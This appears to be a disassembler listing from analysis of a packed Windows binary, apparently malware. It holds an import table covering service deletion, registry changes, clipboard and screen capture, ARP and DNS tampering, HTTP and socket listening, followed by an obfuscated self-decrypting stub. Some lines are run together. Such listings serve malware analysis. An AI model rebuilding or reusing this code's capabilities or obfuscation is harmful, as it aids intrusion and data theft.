dword_4306F0 dd 5B868E65h ; sub_405D8E+996r ...
dword_4306F4 dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_405D8E+35Fr ...
dword_4306F8 dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_405D8E+367r ...
dword_4306FC dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_430700 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; seg000:loc_401B70r ...
dword_430704 dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_430708 dd 5B894541h ; sub_405D8E+9C6r ...
dword_43070C dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_405D8E+284r ...
dword_430710 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_405D8E+DAr ...
dword_430714 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_405D8E+B1Br ...
dword_430718 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; seg000:004018F9r ...
dword_43071C dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_405D8E+818r
dword_430720 dd 5B897BE9h ; sub_405D8E+99Er
dword_430724 dd 74344AE7h ; sub_405D8E+BB6r
dword_430728 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_405D8E+8B6r ...
dword_43072C dd 74327E4Dh dword_430730 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; seg000:004014FCr ...
dword_430734 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_405D8E+7FBr
dword_430738 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_405D8E+1C2r
dword_43073C dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_405D8E+72Cr ...
dword_430740 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4048A1+62r ...
dword_430744 dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_405D8E+664r
dword_430748 dd 0CC0004h ; sub_405D8E:loc_40660Fw ...
dword_43074C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_405D8E+26Cr ...
dword_430750 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_405D8E+627w ...
dword_430754 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_405D8E+2C9r ...
dword_430758 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_405D8E+377r ...
dword_43075C dd 743452A3h ; sub_405D8E+BAEr
dword_430760 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_405D8E+810r
dword_430764 dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_405D8E+1D2r ...
dword_430768 dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_405D8E+820r
dword_43076C dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_405D8E+6FCr
dword_430770 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_40801D+5Ar ...
dword_430774 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; seg000:004014F1r ...
dword_430778 dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_405D8E+2BCr ...
dword_43077C dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_405472+82r ...
dword_430780 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_405D8E+436r
dword_430784 dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_405D8E+1DAr ...
dword_430788 dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_405D8E+342r ...
dword_43078C dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_430790 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; seg000:00401A3Cr ...
dword_430794 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; seg000:0040114Fr ...
dword_430798 dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_405D8E+C2r ...
dword_43079C dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_405D8E+453r
dword_4307A0 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_405D8E+1BAr ...
dword_4307A4 dd 5B8A5199h ; sub_40F2C4+72r
dword_4307A8 dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_405D8E+734r
dword_4307AC dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4038A7+1C0r ...
dword_4307B0 dd 74343318h ; sub_405D8E+BBEr
dword_4307B4 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_405D8E+BAr ...
dword_4307B8 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_405D8E+274r ...
dword_4307BC dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_405982+9Cr ...
dword_4307C0 dd 71AB3E00h ; resolved to->WS2_32.bind ; seg000:00404AC6r ...
dword_4307C4 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; seg000:0040862Er
dword_4307C8 dd 0 dword_4307CC dd 743527D4h ; sub_405D8E+B99r
dword_4307D0 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; seg000:loc_401DB4r ...
dword_4307D4 dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_405D8E+443r
dword_4307D8 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_405D8E+46Br
dword_4307DC dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_405D8E+44Br
dword_4307E0 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_402773+35r ...
dword_4307E4 dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_405D8E+1E2r ...
dword_4307E8 dd 5B86AA41h ; sub_405D8E+9CEr ...
dword_4307EC dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_405D8E+1ADr ...
dword_4307F0 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_405D8E+E2r ...
dword_4307F4 dd 71AB2C69h ; resolved to->WS2_32.sendto ; seg000:00401FF8r ...
dword_4307F8 dd 71B2547Ah ; sub_405D8E+AD6r
dword_4307FC dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_40F382+55r
dword_430800 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_405D8E+25Fr ...
dword_430804 dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_430808 dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_407357+CEr
dword_43080C dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_405D8E+A5Dr ...
dword_430810 dd 71AB3B91h ; resolved to->WS2_32.socket ; seg000:00401C2Br ...
dword_430814 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_405D8E+61Aw ...
dword_430818 dd 7432FF6Bh ; sub_405D8E+BA6r
dword_43081C dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_40550F+86r ...
dword_430820 dd 5B867750h ; sub_405D8E+9A6r ...
dword_430824 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_405982+B3r ...
dword_430828 dd 71AB9639h ; resolved to->WS2_32.closesocket ; seg000:00401B69r ...
dword_43082C dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_4038A7+39Fr ...
dword_430830 dd 71B2578Ch ; sub_405D8E+ACEr
dword_430834 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; seg000:00401919r ...
dword_430838 dd 71B2517Fh ; sub_405D8E+AC1r
dword_43083C dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_405D8E+ADr ...
dword_430840 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_405D8E+1CAr
align 8
dword_430848 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_405D8E+8C3r ...
dword_43084C dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_405D8E+EAr ...
dword_430850 dd 0 ; sub_405D8E+12Bw ...
dword_430854 dd 0 ; sub_406977+1Cr
dword_430858 dd 0 ; sub_406977:loc_4069BFr
dword_43085C dd 0 ; sub_406977+50r
dword_430860 dd 0 ; sub_405D8E:loc_406063w ...
dword_430864 dd 0 ; sub_406977+84r
dword_430868 dd 0 ; sub_406977:loc_406A27r
dword_43086C dd 0 ; sub_406977+B8r
dword_430870 dd 0 ; sub_406977:loc_406A5Br
dword_430874 dd 0 ; sub_406977+ECr
dword_430878 dd 0 ; sub_405D8E+877w ...
dword_43087C dd 0 ; sub_406977+120r
dword_430880 dd 0 ; sub_406977:loc_406AC3r ...
dword_430884 dd 0 ; sub_406977+154r
dword_430888 dd 0 ; sub_406977:loc_406AF7r ...
dword_43088C dd 0 ; sub_406977+188r
dword_430890 dd 0 ; sub_406977:loc_406B2Br
dword_430894 dd 0 ; sub_406977+1BCr
dword_430898 dd 0 ; sub_406977:loc_406B5Fr
dword_43089C dd 0 ; sub_406977+1F0r
dword_4308A0 dd 0 ; sub_406977:loc_406B93r
dword_4308A4 dd 0 ; sub_406977+224r
dword_4308A8 dd 0 ; sub_406977:loc_406BC7r
dword_4308AC dd 0 ; sub_406977+258r
dword_4308B0 dd 0 ; sub_406977:loc_406BFBr
dword_4308B4 dd 0 ; sub_406977+28Cr
dd 83h dup(0)
dword_430AC4 dd 5 dup(0) dword_430AD8 dd 0Eh dup(0) dword_430B10 dd 1000h dup(0) ; sub_407EAEo ...
dword_434B10 dd 0 ; sub_407EAE+Eo ...
dword_434B14 dd 0Eh dup(0) dword_434B4C dd 3 dup(0) dword_434B58 dd 0 ; sub_407D16+44r ...
dd 5 dup(0)
dword_434B70 dd 0 ; seg000:00409C8Fr
dd 2D9h dup(0)
dword_4356D8 dd 0 ; sub_407D16+2Do ...
dd 7Fh dup(0)
dword_4358D8 dd 0 ; sub_4100F2+40w ...
dword_4358DC dd 0 ; sub_40550F:loc_405556r ...
dword_4358E0 dd 0 ; sub_4100F2+3Ar ...
dword_4358E4 dd 0 ; seg000:00404A94w ...
dword_4358E8 dd 0 ; seg000:00405D44r ...
dword_4358EC dd 0 ; seg000:0040511Cw ...
byte_4358F0 db 0 ; DATA XREF: sub_4090B0+91o
; seg000:0040BD1Fr ...
align 4
dd 3F97h dup(0)
dword_445750 dd 651Eh dup(0) dword_45EBC8 dd 2FE2h ; seg000:00408B2Fw ...
align 10h
dword_45EBD0 dd 0 dword_45EBD4 dd 20h dup(0) ; seg000:00409013o ...
dword_45EC54 dd 10h dup(0) ; seg000:00409C14o
dword_45EC94 dd 24h dup(0) dword_45ED24 dd 0 ; seg000:0040902Aw ...
dword_45ED28 dd 0 dd 3 dup(0)
dword_45ED38 dd 0 dword_45ED3C dd 0 ; seg000:00409606r
byte_45ED40 db 0 ; DATA XREF: sub_409218+28r
; sub_409218+30o
align 8
dword_45ED48 dd 0 ; seg000:00408FDEr ...
dword_45ED4C dd 0 ; seg000:00409BB8r
dword_45ED50 dd 17h dup(0) ; sub_40E52B+131o ...
dword_45EDAC dd 7 dup(0) ; sub_40F2C4+A5o
dword_45EDC8 dd 0 ; sub_41021E+19o
dword_45EDCC dd 78h dup(0) dword_45EFAC dd 0 ; sub_40E8A5+4Dr ...
dword_45EFB0 dd 17h dup(0) ; sub_40F190+12Do
dword_45F00C dd 80h dup(0) ; sub_40E7E6+7Do ...
byte_45F20C db 0 ; DATA XREF: sub_40E8A5+29r
; sub_40E8A5+34w
align 10h
dword_45F210 dd 80h dup(0) ; sub_40EAFC+88o ...
dword_45F410 dd 81h dup(0) ; sub_40E402+50o ...
dword_45F614 dd 84h dup(0) dword_45F824 dd 0 dword_45F828 dd 0 ; sub_411914+A4w
align 10h
word_45F830 dw 0 ; DATA XREF: sub_411914+55r
; sub_411914+9Ao
word_45F832 dw 0 ; DATA XREF: sub_411914+48r
db 2 dup(0)
word_45F836 dw 0 ; DATA XREF: sub_411914+3Br
word_45F838 dw 0 ; DATA XREF: sub_411914+2Er
word_45F83A dw 0 ; DATA XREF: sub_411914+21r
align 10h
dword_45F840 dd 0 ; sub_411C60+91w
dword_45F844 dd 0 ; seg000:loc_411E7Aw ...
dword_45F848 dd 0 ; sub_416300:loc_41639Aw ...
dword_45F84C dd 0 dword_45F850 dd 0A28h dword_45F854 dd 501h dword_45F858 dd 5 dword_45F85C dd 1 dword_45F860 dd 1 dword_45F864 dd 0AF0ED0h ; seg000:00408E0Dr ...
dd 0
dword_45F86C dd 0AF0D70h ; sub_41A1B6+9r ...
dword_45F870 dd 0 dword_45F874 dd 0 ; sub_41A654+4r ...
dd 0
dd offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
dd 0
byte_45F884 db 0 ; DATA XREF: sub_4125E9+2Dw
; seg000:0041806Dr
align 4
dword_45F888 dd 0 dword_45F88C dd 0 ; sub_4125E9+8Bw
dword_45F890 dd 0 ; seg000:loc_4175AEr ...
align 8
dword_45F898 dd 0 dword_45F89C dd 0 ; sub_41237F:loc_41247Br ...
dword_45F8A0 dd 0 dword_45F8A4 dd 0 ; sub_414B6D+1Ar ...
byte_45F8A8 db 0 ; DATA XREF: sub_414A69+3r
; sub_414A69+98r ...
align 4
dword_45F8AC dd 0 ; sub_414C4B+21w ...
byte_45F8B0 db 0 ; DATA XREF: sub_414C4B+51w
align 4
dword_45F8B4 dd 0 ; sub_41521C+3Ar ...
dword_45F8B8 dd 0 ; sub_41521C+43r ...
dword_45F8BC dd 0 ; sub_414FE8+5r
dword_45F8C0 dd 0 dword_45F8C4 dd 1 ; seg000:00416BE0w ...
align 10h
dword_45F8D0 dd 0 ; sub_412027+9Dr ...
align 10h
dword_45F8E0 dd 0 ; sub_4128E9+BFr ...
align 8
dword_45F8E8 dd 1 ; seg000:00416F80w ...
dword_45F8EC dd 0 dd 0
dword_45F8F4 dd 0 ; seg000:004173C4w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: seg002:0045F87Co
align 4
dd 3Ah dup(0)
dword_45F9FC dd 1 ; seg000:00417883w ...
dword_45FA00 dd 0 dword_45FA04 dd 0 ; sub_4172B4:loc_4172DDw ...
dword_45FA08 dd 1 ; seg000:loc_41814Ew
align 10h
word_45FA10 dw 0 ; DATA XREF: sub_4187F9+1Ao
; sub_4187F9+46r
byte_45FA12 db 0 ; DATA XREF: sub_4187F9+39r
align 4
dword_45FA14 dd 7 dup(0) dword_45FA30 dd 0 ; sub_4187F9+5Co
dword_45FA34 dd 0 dword_45FA38 dd 0 dword_45FA3C dd 0 dword_45FA40 dd 77C2807Ch ; sub_41891C+38r ...
align 8
dword_45FA48 dd 0 ; seg000:00418BE5w ...
align 10h
dword_45FA50 dd 0 ; seg000:00418BC8r
dword_45FA54 dd 10h dup(0) word_45FA94 dw 0 ; DATA XREF: sub_418DE0+A8r
word_45FA96 dw 0 ; DATA XREF: seg000:00418BD6r
; sub_418DE0+DBr ...
word_45FA98 dw 0 ; DATA XREF: sub_418DE0+CAr
word_45FA9A dw 0 ; DATA XREF: sub_418DE0+D3r
; sub_418DE0:loc_418ED2r
word_45FA9C dw 0 ; DATA XREF: sub_418DE0+C0r
word_45FA9E dw 0 ; DATA XREF: sub_418DE0+B8r
word_45FAA0 dw 0 ; DATA XREF: sub_418DE0+B0r
word_45FAA2 dw 0 ; DATA XREF: sub_418DE0+9Er
dword_45FAA4 dd 0 dword_45FAA8 dd 10h dup(0) word_45FAE8 dw 0 ; DATA XREF: sub_418DE0+46r
word_45FAEA dw 0 ; DATA XREF: seg000:loc_418BF9r
; sub_418DE0+78r ...
word_45FAEC dw 0 ; DATA XREF: sub_418DE0+67r
word_45FAEE dw 0 ; DATA XREF: sub_418DE0+70r
; sub_418DE0:loc_418E64r
word_45FAF0 dw 0 ; DATA XREF: sub_418DE0+5Dr
word_45FAF2 dw 0 ; DATA XREF: sub_418DE0+55r
word_45FAF4 dw 0 ; DATA XREF: sub_418DE0+4Dr
word_45FAF6 dw 0 ; DATA XREF: sub_418DE0+3Er
dword_45FAF8 dd 0 dword_45FAFC dd 0 ; seg000:loc_418CCEr ...
dword_45FB00 dd 0 dword_45FB04 dd 0 dword_45FB08 dd 0 ; sub_4195E1+2Ew ...
dword_45FB0C dd 0 ; sub_4195E1:loc_419630r
dword_45FB10 dd 0 ; sub_4195E1+60r
dword_45FB14 dd 0 ; sub_41A044+6Do
dword_45FB18 dd 0 ; sub_41A044+44o
dword_45FB1C dd 0 ; sub_41A044+37o
dword_45FB20 dd 0 ; sub_41A044+51o
align 8
dword_45FB28 dd 0 dword_45FB2C dd 0 ; seg000:0041A780w ...
byte_45FB30 db 1 ; DATA XREF: sub_40316Cr sub_40316C+9w ...
align 4
dword_45FB34 dd 0AE4968h ; sub_41692A+14r ...
align 10h
dword_45FB40 dd 400h dup(0) ; seg002:0042E890o
dword_460B40 dd 200h ; sub_41647E+56r ...
dd 7 dup(0)
dword_460B60 dd 0AF0EF0h ; sub_4164EB+75r ...
dd 3Fh dup(0)
dword_460C60 dd 20h ; sub_4165C4+Cr ...
dword_460C64 dd 4E4h ; sub_416DE3+65w ...
align 10h
dword_460C70 dd 3 dup(0) ; sub_416DE3+171o ...
dword_460C7C dd 0 ; sub_416DE3+15Dw ...
byte_460C80 db 0 ; DATA XREF: sub_417022:loc_41712Ew
; sub_417022:loc_41714Bw ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_460D80 db 0 ; DATA XREF: sub_416DE3+5Co
; sub_416DE3+AFo ...
byte_460D81 db 0 ; DATA XREF: sub_4121E8+5Dr
; sub_416DE3+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_460E84 dd 0 ; sub_416DE3+12Bw ...
dword_460E88 dd 10h ; sub_413BAF+5r ...
dword_460E8C dd 0 ; sub_41357B+259r ...
dword_460E90 dd 0AE0650h ; sub_41357B+310w ...
dword_460E94 dd 0 ; sub_41357B+22Cr ...
dword_460E98 dd 1 ; sub_413550r ...
dword_460E9C dd 0AE0650h ; sub_413550+8r ...
dword_460EA0 dd 0AE0000h ; sub_410C83+21r ...
dword_460EA4 dd 142340h ; seg000:00417511r
dword_460EA8 dd 1 ; sub_41A1B6r
dword_460EAC dd 1 ; sub_4171A7+11w ...
dword_460EB0 dd 0AF1B4Ch ; sub_411613:loc_411655r ...
dword_460EB4 dd 0AF1B40h ; sub_411613+Cr ...
byte_460EB8 db 1 ; DATA XREF: sub_41AFB4+15r
; sub_41AFB4+1Ew
align 200h
seg002 ends
; Section 4. (virtual address 00061000)
; Virtual size : 0001B000 ( 110592.)
; Section size in file : 0001B000 ( 110592.)
; Offset to raw data for section: 00061000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_data segment para public 'CODE' use32
assume cs:_data
;org 461000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
db 90h
db 60h, 0E8h, 3
dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h, 0FFEDBB5Dh
dd 0DD03FFFFh, 1000EB81h, 7D800006h, 0C75014Dh, 2824748Bh
dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h, 8D000009h
dd 0E9503545h, 82h, 3A0000h, 30000h, 7C809AE4h, 3CE000h
dd 7C801D77h, 7C80B6A1h, 0
dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h, 81E801EBh
dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh
dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h, 0D0FF3575h
dd 8535458Bh, 680D74C0h, 8000h, 75FF006Ah, 3D55FF35h, 61DB0B5Bh
dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0BB66000Ch
dd 0EE8E7C0h, 3E000000h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h
dd 0D8816633h, 535F55FAh, 8158F88Ah, 89BC7h, 2BC78B00h
dd 0FFFC8AD2h, 49BE3A34h, 590C2D5Dh, 0AEA78BB8h, 9AF1815Ah
dd 8101D882h, 16B7CBF1h, 58F0F5Eh, 0BE000000h, 620B2AB9h
dd 4BA8E981h, 66512DAEh, 0AFD6F681h, 0E917048Fh, 12h, 29B0F362h
dd 0E5DC4FAEh, 61C86BBAh, 9D744786h, 13E8E312h, 3F000000h
dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 850FC53Ch
dd 6, 817DCB81h, 8358394Eh, 0BF0F03EAh, 8D0F4AF0h, 0
; ---------------------------------------------------------------------------
cmp edx, 0FFFFF84Ch
jnz loc_461199
or bl, 0Fh
jmp loc_4611BE
; ---------------------------------------------------------------------------
dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h
db 15h
; ---------------------------------------------------------------------------
loc_461199: ; CODE XREF: .data:0046117Aj
push ecx
push 6BA1F3F7h
mov esi, 2DF7D893h
pop eax
pop ebx
jmp near ptr dword_461064+93h
; ---------------------------------------------------------------------------
db 0EFh
dd 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h
; ---------------------------------------------------------------------------
sub al, 0F5h
loc_4611BE: ; CODE XREF: .data:00461183j
call sub_4611D6
; ---------------------------------------------------------------------------
db 8Fh
dd 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h
db 4Ch, 95h
; =============== S U B R O U T I N E =======================================
sub_4611D6 proc near ; CODE XREF: .data:loc_4611BEp
sub dx, 4577h
pop ecx
call sub_4611EF
dec esi
outsd
jl short near ptr loc_4611E9+1
pop edx
mov ebp, [eax-7Fh]
loc_4611E9: ; CODE XREF: sub_4611D6+Dj
db 26h, 67h
adc al, 0BDh
mov dl, 3
sub_4611D6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4611EF proc near ; CODE XREF: sub_4611D6+6p
add ch, 0ACh
pop esi
call near ptr loc_461206+2
cwde
icebp
setalc
push edi
inc esp
sub eax, 29B0F362h
scasb
dec edi
fsubr st(5), st
loc_461206: ; CODE XREF: sub_4611EF+4p
mov edx, 0CBB70F6Bh
sub_4611EF endp ; sp-analysis failed
pop edx
add esi, 78Fh
movzx ecx, dx
mov eax, 1B8h
mov cl, 6Ch
loc_46121C: ; CODE XREF: .data:00461284j
push dword ptr [esi]
push ecx
push 8690FC5h
mov edx, 5D07C0E6h
pop ebx
pop ebx
pop edi
movzx ecx, di
add edi, 48F1D331h
movsx edx, si
xor edi, 6360A16h
mov dx, 5F70h
xor edi, 7F192F97h
and dl, 2Bh
mov [esi], edi
mov ecx, ebx
sub esi, 4
jmp loc_46125C
; ---------------------------------------------------------------------------
db 59h
dd 15CCFF1Eh
; ---------------------------------------------------------------------------
loc_46125C: ; CODE XREF: .data:00461252j
dec eax
jnz loc_46127E
mov dx, 2764h
jmp loc_461294
; ---------------------------------------------------------------------------
dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h
db 32h, 83h
; ---------------------------------------------------------------------------
loc_46127E: ; CODE XREF: .data:0046125Dj
push 10ADA17Eh
pop edx
jmp loc_46121C
; ---------------------------------------------------------------------------
db 0D7h, 0C4h, 0ADh
dd 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------
loc_461294: ; CODE XREF: .data:00461267j
push 4D9D36DDh
pop esi
call sub_4612A9
stosb
wait
cmp [ecx], dl
jbe short near ptr loc_461317+5
in al, 4Dh
add dl, [ebx]
; =============== S U B R O U T I N E =======================================
sub_4612A9 proc near ; CODE XREF: .data:0046129Ap
pop edi
jmp loc_4612B9
; ---------------------------------------------------------------------------
pop edx
mov ebp, [eax-7Fh]
db 26h, 67h
adc al, 0BDh
mov dl, 3
loc_4612B9: ; CODE XREF: sub_4612A9+1j
add edi, 6D1h
jmp loc_4612D7
; ---------------------------------------------------------------------------
dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h
; ---------------------------------------------------------------------------
dec edi
fsubr st(5), st
loc_4612D7: ; CODE XREF: sub_4612A9+16j
mov ebx, 0
call sub_4612E7
xchg al, [edi+74h]
popf
adc ah, bl
sub_4612A9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4612E7 proc near ; CODE XREF: sub_4612A9+33p
call sub_4612FF
aas
or al, 55h
push 5Bh
clc
sal dword ptr [esi], 1
aaa
movsb
or eax, 910D3C2h
push cs
das
cmp al, 0C5h
sub_4612E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4612FF proc near ; CODE XREF: sub_4612E7p
mov ch, 9Ah
pop esi
pop edx
loc_461303: ; CODE XREF: sub_4612FF+66j
mov eax, [edi+ebx]
mov edx, 3C53CBCAh
xor eax, 32B3741Ch
sub esi, 979FA04h
loc_461317: ; CODE XREF: .data:004612A3j
xor eax, 2D712825h
push edi
sub esi, 115EBB7Ah
pop ecx
xor eax, 45078DFAh
push edx
mov dx, ax
pop esi
push eax
mov ecx, esi
pop dword ptr [edi+ebx]
sub ebx, 83428D0h
add ebx, 83428CCh
mov dx, 41E8h
cmp ebx, 0FFFFFA04h
jnz loc_46135F
jmp loc_461378
; ---------------------------------------------------------------------------
align 4
cmp [esi-21h], edi
sub al, 0F5h
mov bh, bl
loc_46135F: ; CODE XREF: sub_4612FF+4Dj
push esi
mov cx, 0F473h
pop esi
jmp loc_461303
; ---------------------------------------------------------------------------
dw 0CF2Eh
dd 0EB3A655Ch, 0C706E148h, 63921DF4h
; ---------------------------------------------------------------------------
loc_461378: ; CODE XREF: sub_4612FF+53j
adc edx, 66782C35h
call sub_461392
cmp ebx, [eax-4Fh]
xchg eax, esi
pop ss
add al, 0EDh
and dh, [ebx+0F6EE970h]
pushf
movsd
sub_4612FF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_461392 proc near ; CODE XREF: sub_4612FF+7Fp
push ecx
pop ebx
pop ecx
movzx ebx, bx
add ecx, 5ECh
mov eax, 391BBF64h
add eax, 0C6E441E6h
call near ptr loc_4613B2+1
leave
into
out dx, eax
cld
loc_4613B2: ; CODE XREF: sub_461392+17p
test [esi-75h], esp
sub_461392 endp ; sp-analysis failed
rcr byte ptr [ebx-75h], 1 ; CODE XREF: .data:00461441j
cmp [edi], ecx
mov edi, 4BF781D0h
mov al, ah
dec edi
ja loc_4613D0
push 273FF9FBh
push eax
pop ebx
pop edx
loc_4613D0: ; CODE XREF: .data:004613C2j
add edi, 61231228h
jmp loc_4613E0
; ---------------------------------------------------------------------------
test eax, 655CCF2Eh
loc_4613E0: ; CODE XREF: .data:004613D6j
add edi, 3E671B41h
push 6B443948h
pop esi
push edi
and bh, 8Dh
pop dword ptr [ecx]
adc ebx, 7FEF27CBh
sub ecx, 2F5986C1h
sbb esi, 6E46FAF2h
add ecx, 2F5986BDh
movsx ebx, cx
dec eax
jnz loc_46143C
call near ptr loc_461421+5
xor [esi], edx
xchg eax, edi
test [ebp-5Eh], ch
xor esi, eax
loc_461421: ; CODE XREF: .data:00461414p
imul ebp, esi, 0F251C8Fh
mov es, word ptr [edx]
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
mov esi, edx
pop esi
jmp loc_46144B
; ---------------------------------------------------------------------------
and cl, bl
sahf
jg short loc_461485
xchg eax, ebp
stosb
wait
loc_46143C: ; CODE XREF: .data:0046140Ej
mov esi, 7FA79913h
jmp near ptr loc_4613B5+2
; ---------------------------------------------------------------------------
dw 4E49h
db 6Fh, 7Ch, 5
; ---------------------------------------------------------------------------
loc_46144B: ; CODE XREF: .data:0046142Fj
call $+5
pop ebp
pop ebx
mov [ebp+5Bh], ebx
pop ebx
mov [ebp+5Fh], ebx
pop eax
mov [ebp+40Dh], eax
pop eax
cmp byte ptr [ebp+5Ah], 1
jnz short loc_4614C0
mov [ebp+425h], eax
pusha
lea eax, [ebp+33h]
push eax
xor eax, eax
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, ebx
call sub_461765
jmp short loc_46149F
; ---------------------------------------------------------------------------
db 8Bh
db 64h
; ---------------------------------------------------------------------------
loc_461485: ; CODE XREF: .data:00461437j
and al, 8
pop dword ptr fs:0
add esp, 4
popa
lea eax, [ebp+63h]
push eax
call dword ptr [ebp+5Fh]
call loc_46177B
jmp short loc_4614A8
; ---------------------------------------------------------------------------
loc_46149F: ; CODE XREF: .data:00461481j
pop dword ptr fs:0
add esp, 24h
loc_4614A8: ; CODE XREF: .data:0046149Dj
jmp short loc_4614C5
